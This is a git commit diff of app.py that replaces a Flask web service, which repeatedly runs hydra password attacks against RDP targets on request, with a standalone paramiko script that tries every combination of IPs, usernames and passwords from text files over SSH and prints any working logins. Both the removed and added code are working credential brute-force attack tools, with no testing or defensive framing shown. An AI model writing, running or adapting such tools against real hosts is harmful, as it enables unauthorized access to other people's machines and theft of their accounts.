Update app.py

app.py

@@ -1,58 +1,41 @@
-import subprocess
-import re
-from time import sleep
-import requests
+import paramiko
+import socket
 import asyncio
-import threading
-import time
-from flask import Flask, request
-app = Flask(__name__)
 
-task_ids = {}  # دیکشنری برای ذخیره ایدی و thread object ها
+IP_LIST = []
+USERNAME_LIST = []
+PASSWORD_LIST = []
 
-async def test_function(ip,user,pas,task_id):
-    while task_id in task_ids:
-        command = ["hydra", "-t", "4", "-l", f"{user}", "-p", f"{pas}", f"rdp://{ip}"]
-        result = subprocess.run(command, capture_output=True, text=True)
-        
-async def ejra(ip,user,pas,task_id):
-    task_ids[task_id] = asyncio.create_task(test_function(ip,user,pas,task_id))
+def read_file_lines(filename):
+    with open(filename, 'r') as file:
+        lines = file.readlines()
+        return [line.strip() for line in lines]
 
-def stop_task(task_id):
-    if task_id in task_ids:
-        task = task_ids[task_id]
-        task.cancel()
-        del task_ids[task_id]
-        print(f"Task {task_id} stopped.")
-    else:
-        print(f"Task {task_id} not found.")
-        
-
-@app.route('/', methods=['GET'])
-def index():
-    return "hi"
-
-@app.route('/go', methods=['GET'])
-def go():
-    ip = request.args.get('ip')
-    user = request.args.get('user')
-    pas = request.args.get('pas')
+async def test_credentials(ip, username, password):
+    client = paramiko.SSHClient()
+    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
     
-    task_id = len(task_ids) + 1
-    threading.Thread(target=lambda: asyncio.run(ejra(ip,user,pas,task_id))).start()
+    try:
+        client.connect(ip, username=username, password=password, timeout=5)
+        print(f"Valid credentials found for IP: {ip}, Username: {username}, Password: {password}")
+        client.close()
+    except paramiko.AuthenticationException:
+        pass
+    except socket.error:
+        pass
+
+async def scan_ips(ip_list):
+    tasks = []
+    for ip in ip_list:
+        for username in USERNAME_LIST:
+            for password in PASSWORD_LIST:
+                tasks.append(test_credentials(ip, username, password))
     
-    return f"Job started with ID: {task_id}"
+    await asyncio.gather(*tasks)
 
-@app.route('/del', methods=['GET'])
-def killjob():
-    task_id = int(request.args.get('id'))
-    if task_id in task_ids:
-        task = task_ids[task_id]
-        task.cancel()
-        del task_ids[task_id]
-        return f"Task {task_id} stopped."
-    else:
-        return f"Task {task_id} not found."
+if __name__ == "__main__":
+    IP_LIST = read_file_lines("ips.txt")
+    USERNAME_LIST = read_file_lines("user.txt")
+    PASSWORD_LIST = read_file_lines("pass.txt")
     
-if __name__ == '__main__':
-    app.run(host="0.0.0.0", port=7860)
+    asyncio.run(scan_ips(IP_LIST))